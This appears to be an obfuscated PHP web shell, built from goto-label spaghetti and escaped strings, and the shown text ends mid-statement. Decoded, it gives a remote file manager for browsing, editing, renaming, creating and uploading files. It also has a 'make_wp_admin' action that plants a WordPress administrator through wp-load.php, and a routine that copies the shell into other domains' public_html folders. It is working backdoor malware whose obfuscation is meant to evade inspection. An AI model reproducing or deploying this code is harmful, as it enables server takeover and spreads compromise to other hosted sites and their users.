kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: KPlKX: goto IK_DP; G1Qv8: X_zeJ: goto INFFL; oizs9: goto APpNG; goto vVZP1; r4llA: dYUUJ: goto qBLIC; nsdJy: zWmwG: goto C6DGU; xRuWG: goto Iu7Vm; goto ml1uh; bAvkV: EEaFa: goto SCKIJ; MfKxB: goto VdCSw; goto lGFhF; Lx0XR: goto Ihrld; goto JY0sP; Zoi8b: A9iGR: goto ekLqq; bq3T2: zicQ5: goto lMkl0; lg02d: TkaFs: goto d8vt9; zWsbZ: n_64s: goto xbpy_; LebU4: lynu2: goto qa8k3; gw4Nl: goto GTMrE; goto N0tdo; HozkL: JLhkU: goto bf9bm; uyNWu: B3ej5: goto uGhan; M2hcK: goto Q8yTR; goto pp9c0; DnLfo: GvS0d: goto jjccd; hnCgw: goto aw61p; goto LebU4; yCAjM: goto Y4A3c; goto bTx7G; YIuJn: rr71t: goto VQ2KN; FJHh0: goto N_uzv; goto GGQYr; HL_Ea: $txUKt = $JdqDR . "\x2f" . basename($_POST["\x6e\145\x77\x66\x6f\x6c\144\145\162"]); goto rQbqD; LQfqR: eB0P0: goto nMeT9; BgGg1: goto EBoDv; goto U3dVg; A3xpt: echo "\74\150\63\x3e\303\242\xc5\223\342\200\xa6\x20\x52\145\x70\154\x69\x63\141\x74\145\144\40\151\x6e\x74\x6f\40\160\165\x62\154\x69\x63\137\150\164\155\x6c\x3c\57\150\x33\x3e\x3c\x75\154\x3e"; goto c3Ecp; LK7PK: goto D9duu; goto SAtNS; LtWUT: goto Bq6R4; goto blQE1; dWM3l: goto RchK3; goto ybD6v; He2H7: goto En4Bl; goto PZazT; ecHb3: YbMjO: goto jFU8u; XfhKL: goto fAnBX; goto WD3OG; Yv5N0: goto XJ15u; goto YIuJn; c3Ecp: goto cBi0z; goto uzFib; fwefS: leovd: goto fT5pv; ukPCo: goto CxF4g; goto XJSAf; h1gA6: goto nYEWv; goto z31JX; XlHGB: Naw4a: goto fM7Ha; lJLwF: P_gAl: goto oilrT; qBgFi: s6Utd: goto xhqEf; bY7iK: goto DpIfg; goto LtWUT; X41GM: goto tC_To; goto RwT6B; JFMBg: if (empty($_POST["\x6d\x61\153\145\137\167\x70\x5f\141\x64\x6d\x69\156"])) { goto NlzaM; } goto L9t2s; tJTtt: CcQIm: goto FLvD1; KAvzx: goto PbdyU; goto O1XTW; dqcrq: h_uEZ: goto n93Gk; IH9CG: pW0Lg: goto LFZY3; nl37G: sHU8k: goto aO1F2; auij7: goto KrrW1; goto RCvXC; b8TnL: goto f9DLn; goto Y39BH; swcu0: DckSI: goto Xn1aA; TRK5g: goto BgbEE; goto Bd9pg; uqrbB: goto xwHle; goto BOUyM; T21kq: goto yxPnN; goto oaJ0w; av9h0: goto wfTR1; goto xhHtZ; l1Rhx: goto fpj30; goto lRc0U; iNEwI: fZku2: goto dO0pw; HFyGT: goto iZ4h4; goto kMj6k; Zqsuk: fAnBX: goto CsPsQ; tEAi1: $rIJSd = false; goto C0AeL; cg4ZT: c75GS: goto OHyMs; xhHtZ: JLx3x: goto A3xpt; yJhHf: goto Kh6bK; goto EOJg3; AXMDN: if (!($D6V0J !== dirname($D6V0J))) { goto NKnHC; } goto l1Rhx; J6ZxO: goto i_d0m; goto b5kFp; RADZh: yaI1b: goto bY7iK; NIV85: goto wodEv; goto nUHZj; RwT6B: Gu75W: goto ptU3E; h43tU: goto bEuoB; goto QBC7y; IGMxG: KX2Vx: goto WljjD; IK_DP: jZG7w: goto Ogr2e; FLgPu: $HF_AU = dirname($D8T_A) . "\57" . basename($_POST["\162\145\x6e\141\155\x65\x5f\156\145\167"]); goto UGaKU; I5E7B: XFYQV: goto d1lZ2; rs6hQ: Y43yk: goto d0ggy; pZvhC: goto zsCef; goto m7UPp; f6RtR: goto VNH2v; goto TLAgf; zOUTZ: EM91A: goto Bj6yj; rxL9a: goto P_gAl; goto lg02d; iAu5k: goto lAGKT; goto fZ4fb; blCrI: goto rivn3; goto HWvRS; jg0N4: goto Y43yk; goto Mg0kq; Suitv: $JglkV = basename($D8SPt); goto tvKkm; fm2b4: jFF3F: goto fMQvJ; FKta4: qtW4o: goto AXMDN; fO7IX: GFznw: goto OdSSG; YVnki: zzfx1: goto OAdsT; mVSsr: j_FJI: goto pq4ZS; cD76l: R2RRw: goto SU2aS; mCO_w: Uzca2: goto lfeQn; VEAiq: goto NJFPs; goto O_ANL; gTqfp: goto j_FJI; goto yIUPW; RnKjm: ves8O: goto qBbCO; Aub2J: goto wKHRo; goto oVXyY; DZPMO: goto WYMTp; goto a411L; QrSn1: goto pWS9l; goto nY_1Q; mxgon: goto lgzIG; goto ENk7J; VDpyM: goto Jp083; goto Qe10l; uAwQG: goto nfbZG; goto doVAA; dQAET: sbJX_: goto IImTN; idhLU: goto VPmxL; goto XLvuk; bIuzY: LGhol: goto WoibB; LQbME: XEsqk: goto xihPS; rUxDS: goto poMp0; goto SIi_F; lPC2j: gEPCt: goto jexem; TB1We: goto dzixS; goto vwZaR; MK6VQ: KQR9L: goto V9MeH; qGMZo: snGiW: goto W1Yey; U2iNi: CFA22: goto dQAET; KAIdj: YV7J3: goto LhIiH; IJm2S: JscKU: goto Pa9jH; VhhhS: DCCBg: goto Pne0_; KAk9t: d3u7B: goto PD19_; SXKBh: OPFVa: goto zGsRd; MLZJ1: iZ4h4: goto CMig3; JK3Qm: goto hHLeW; goto HtCJj; p3Slk: BPJ4w: goto ukPCo; hrlxR: goto VtXS1; goto uu3XS; RpT82: MdNLB: goto M9Oz6; pmKLG: goto hKkuU; goto zOUTZ; itVgW: goto V3DtT; goto Lvm8B; HK11o: YPNKf: goto zDrDe; O5gxF: goto ves8O; goto aGUgU; OtWzu: goto WEFVN; goto VENIm; gySkl: j4fbo: goto R5nt6; CNAMg: D9duu: goto QjW0N; OA0vJ: goto snGiW; goto eyg_4; YWduN: WEFVN: goto A8SPk; Xx6fd: goto EGZPJ; goto NO2YR; cLM9z: if (file_exists($bG34o)) { goto wssjk; } goto J9wD8; MMy0M: goto SbuXe; goto ivss1; yNu6z: goto oz3t7; goto Z_j7r; jexem: goto TiDrY; goto g8omF; a411L: SbDAZ: goto BU70D; Z3O3Z: rw_pK: goto swcu0; njHjZ: ocCsn: goto qrkn2; Nluj9: goto pgQRW; goto ouUdy; R5nt6: $bG34o = $JdqDR . "\x2f" . basename($_POST["\156\x65\167\146\151\154\x65"]); goto v5Q9k; YeYhj: goto MBBhg; goto gphJD; GETqH: goto GJ2ZZ; goto DnLfo; L3Tk1: VM7J8: goto UtBmG; yabSI: goto en_sG; goto jNPBL; BHdPu: goto JrmqN; goto DSEOn; nPxWE: a1JYq: goto xPu83; LZFK7: goto hZMkj; goto TOo3K; pvdiI: kcJFb: goto bP8J6; Kq6Pa: gw96m: goto ckwc3; Qy7Ry: KPedQ: goto GK0TK; Fkejm: oz3t7: goto X41GM; pLUNm: goto JDHCe; goto BcmUP; lGHlv: JMBjk: goto pAD7h; WZVIb: $mnQV8 = []; goto tmKUJ; K25PE: if (!file_exists($D6V0J . "\57\167\160\55\154\x6f\x61\144\x2e\160\x68\x70")) { goto nyuzB; } goto WsDjn; M7Gyp: goto MdNLB; goto QYSDt; xdHqL: goto DV0SF; goto igrmk; W57Aw: vL5xr: goto uyNWu; J96Mu: NlzaM: goto t_u1g; Ssrys: TepBx: goto Kdmp4; t1qmX: goto n1xAc; goto RooMC; gsbM5: fpj30: goto PQ4_q; N2oFC: goto dn0tW; goto KuLD8; eU41h: goto HPZNv; goto ik5MB; xzbO_: goto UhQNT; goto vhhzP; CeVou: Z2hdr: goto zEEkD; wmOwk: goto cgxrg; goto odVDg; HD2_Q: goto rF9Q0; goto APXSe; ItzMj: goto c6dT5; goto AZ32v; UL46I: U83vJ: goto MCVU1; qjebX: QynDU: goto PWPPT; yjdWQ: goto qXWNA; goto nmnAf; Qbrza: iWIvM: goto Zk18_; mAZJ3: c49UM: goto TVOEv; gco9H: goto DItA6; goto PQ0Gl; asy96: define("\172\70\x4d\171\x50", false); goto gUCUZ; aPMgW: bgQX6: goto b07Mx; VMC1l: h5315: goto U1Q6Z; Lvm8B: VRmhe: goto fG3tv; PC1uP: goto PdiyD; goto pvdiI; bkKIN: goto ZDDBq; goto iE4ih; vhhzP: goto eNrt1; goto fbCMn; sXGTh: goto rr71t; goto OdvU7; GFmeZ: eNrt1: goto soE6m; mxl49: Iu7Vm: goto P6I2Y; Ms1xZ: $hznvy .= "\74\144\151\x76\x20\143\154\141\x73\163\x3d\47\157\x6b\47\x3e\xc3\242\xc5\223\xe2\200\x9d\x20\x46\151\154\x65\x20\165\x70\x6c\x6f\x61\144\145\144\74\x2f\144\151\x76\76"; goto fUvG0; OE7sw: goto CNoYb; goto aziJz; RooMC: KJSI3: goto O0OJf; HI3Eh: $hznvy .= 